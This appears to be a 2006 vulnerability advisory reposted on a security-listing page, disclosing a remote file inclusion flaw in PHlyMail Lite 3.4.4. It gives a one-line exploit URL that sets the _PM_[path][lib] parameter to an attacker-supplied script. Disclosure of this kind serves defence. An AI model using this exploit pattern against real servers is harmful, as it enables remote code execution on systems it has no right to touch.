Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

faille include in "VeriTECH"  isreal

BlackBoard Multiple Vulnerabilities (XSS)

PHProjekt v0.6.1  Remote File Inclusion Vulnerability (2)

Tons of SQL-injections and XSS in Eichhorn Portal and vendor page

From:	D3nGeR_(at)_Gmail.CoM <D3nGeR_(at)_Gmail.CoM>
Date:	23.08.2006
Subject:	PHlyMail Lite [PM_[path][lib]=] Remote File Include Vulnerability

*********************************************************************************
*
*PHlyMail Lite [PM_[path][lib]=] Remote File Include Vulnerability
*
*--------------------------------------------------------------------------------
----------------------
*     - [Script name: PHlyMail Lite v. 3.4.4 ]
*     - [Script site: http://phlymail.de ]
*--------------------------------------------------------------------------------
----------------------
*       F0und by : D3nGeR
*       e-mail : D3nGeR@Gmail.CoM
*
*--------------------------------------------------------------------------------
----------------------
* Exploit:
*
* http://www.site.com/[phlymail_path]/handlers/email/mod.output.
php?_PM_[path][lib]=[evil scripit]
*
*--------------------------------------------------------------------------------
----------------------
*
*greetz to all my friend :
*
*Team-Evil & Aria-Security Team & D.O.M Team & H@rD Luck Team & IHST TeaM
*
*********************************************************************************
**